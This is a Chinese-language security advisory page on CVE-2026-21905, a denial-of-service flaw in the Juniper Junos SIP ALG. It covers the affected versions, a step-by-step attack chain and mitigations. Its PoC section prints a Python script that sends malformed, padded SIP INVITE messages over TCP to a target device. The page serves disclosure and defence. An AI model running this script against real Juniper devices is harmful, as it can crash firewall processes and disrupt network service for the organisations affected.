IPBUF安全漏洞报告
English
CVE-2026-21905 CVSS 7.5 高危

CVE-2026-21905: Juniper Junos OS SIP ALG无限循环拒绝服务漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-21905
漏洞类型
无限循环/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Junos OS (SRX Series, MX Series with MX-SPC3 or MS-MPC)

相关标签

CVE-2026-21905JuniperJunos OSSIP ALG无限循环拒绝服务SRX系列MX系列TCP协议高危漏洞

漏洞概述

CVE-2026-21905是Juniper Networks Junos OS中SIP应用层网关(ALG)存在的一个严重安全漏洞,CVSS评分7.5,等级为高危。该漏洞属于"循环中存在无法到达的退出条件(无限循环)"类型,攻击者可通过发送特制的SIP消息触发此漏洞。在SRX系列和MX系列(配备MX-SPC3或MS-MPC服务卡)设备上,接收多个SIP消息会导致SIP头解析错误,最终造成连续循环并触发看门狗定时器超时,从而导致SRX系列和MX系列(MX-SPC3)上的flowd进程崩溃,或MX系列(MS-MPC)上的mspmand进程崩溃,造成拒绝服务(DoS)影响。值得注意的是,此问题仅通过TCP协议触发,通过UDP发送的SIP消息无法利用此漏洞。攻击者无需认证即可发起攻击,这大大增加了漏洞的利用风险。

技术细节

该漏洞存在于Juniper Junos OS的SIP ALG组件中,攻击者通过TCP连接发送特制的SIP消息。当这些消息被SIP ALG处理时,头部字段解析出现错误,导致解析逻辑进入无限循环状态。具体来说:1) 攻击者构造包含特定畸形SIP头的TCP数据包;2) SIP ALG尝试解析这些头部时触发解析错误;3) 错误处理逻辑存在缺陷,导致循环无法正常退出;4) 无限循环持续执行直到看门狗定时器超时;5) 系统进程flowd(SRX/MX-SPC3)或mspmand(MX-MS-MPC)被终止,造成服务中断。由于SIP ALG是防火墙会话处理的关键组件,进程崩溃会导致所有经过的流量处理中断,影响整个网络的连通性。该漏洞的利用不需要任何认证,攻击者可远程触发,且仅影响TCP协议的SIP流量。

攻击链分析

STEP 1
步骤1
攻击者识别运行存在漏洞的Junos OS版本的Juniper SRX或MX系列设备
STEP 2
步骤2
攻击者建立TCP连接到目标设备的SIP端口(默认5060)
STEP 3
步骤3
攻击者发送特制的畸形SIP消息,包含触发解析器进入无限循环的头部字段
STEP 4
步骤4
SIP ALG组件尝试解析畸形头部时进入无限循环状态
STEP 5
步骤5
看门狗定时器检测到进程长时间无响应,触发超时
STEP 6
步骤6
flowd进程(SRX/MX-SPC3)或mspmand进程(MX-MS-MPC)被终止,导致拒绝服务
STEP 7
步骤7
所有依赖该进程的网络服务和安全策略失效,造成大规模服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import time def send_sip_tcp_packet(target_ip, target_port=5060): """ PoC for CVE-2026-21905 - Juniper Junos SIP ALG Infinite Loop Note: This is for educational/testing purposes only """ # Malformed SIP INVITE with malformed headers to trigger parsing loop sip_message = b'INVITE sip:[email protected] SIP/2.0\r\n' sip_message += b'Via: SIP/2.0/TCP ' + b'A' * 500 + b'\r\n' sip_message += b'From: <sip:[email protected]>;tag=malformed' + b'B' * 500 + b'\r\n' sip_message += b'To: <sip:[email protected]>\r\n' sip_message += b'Call-ID: infinite_loop_test\r\n' sip_message += b'CSeq: 1 INVITE\r\n' sip_message += b'Max-Forwards: 70\r\n' sip_message += b'Content-Length: 0\r\n\r\n' try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send multiple malformed packets to trigger the condition for i in range(10): sock.send(sip_message) time.sleep(0.5) print(f'Packet {i+1} sent') sock.close() print('PoC execution completed') except Exception as e: print(f'Error: {e}') if __name__ == '__main__': target = input('Enter target IP: ') send_sip_tcp_packet(target)

影响范围

Juniper Junos OS (SRX Series, MX Series) < 21.2R3-S10
Juniper Junos OS (SRX Series, MX Series) >= 21.4 且 < 21.4R3-S12
Juniper Junos OS (SRX Series, MX Series) >= 22.4 且 < 22.4R3-S8
Juniper Junos OS (SRX Series, MX Series) >= 23.2 且 < 23.2R2-S5
Juniper Junos OS (SRX Series, MX Series) >= 23.4 且 < 23.4R2-S6
Juniper Junos OS (SRX Series, MX Series) >= 24.2 且 < 24.2R2-S3
Juniper Junos OS (SRX Series, MX Series) >= 24.4 且 < 24.4R2-S1
Juniper Junos OS (SRX Series, MX Series) >= 25.2 且 < 25.2R1-S1, 25.2R2

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 在边界防火墙上阻止外部对SIP端口(5060/TCP)的访问;2) 禁用SIP ALG功能以避免触发漏洞代码路径;3) 使用IPSec或防火墙策略限制SIP流量的来源;4) 部署入侵检测/防御系统(IDS/IPS)监控异常的SIP流量模式;5) 启用日志监控以便及时发现进程崩溃事件;6) 配置高可用性集群以实现故障自动切换。需要注意的是,这些措施仅为临时解决方案,最根本的修复方式是尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表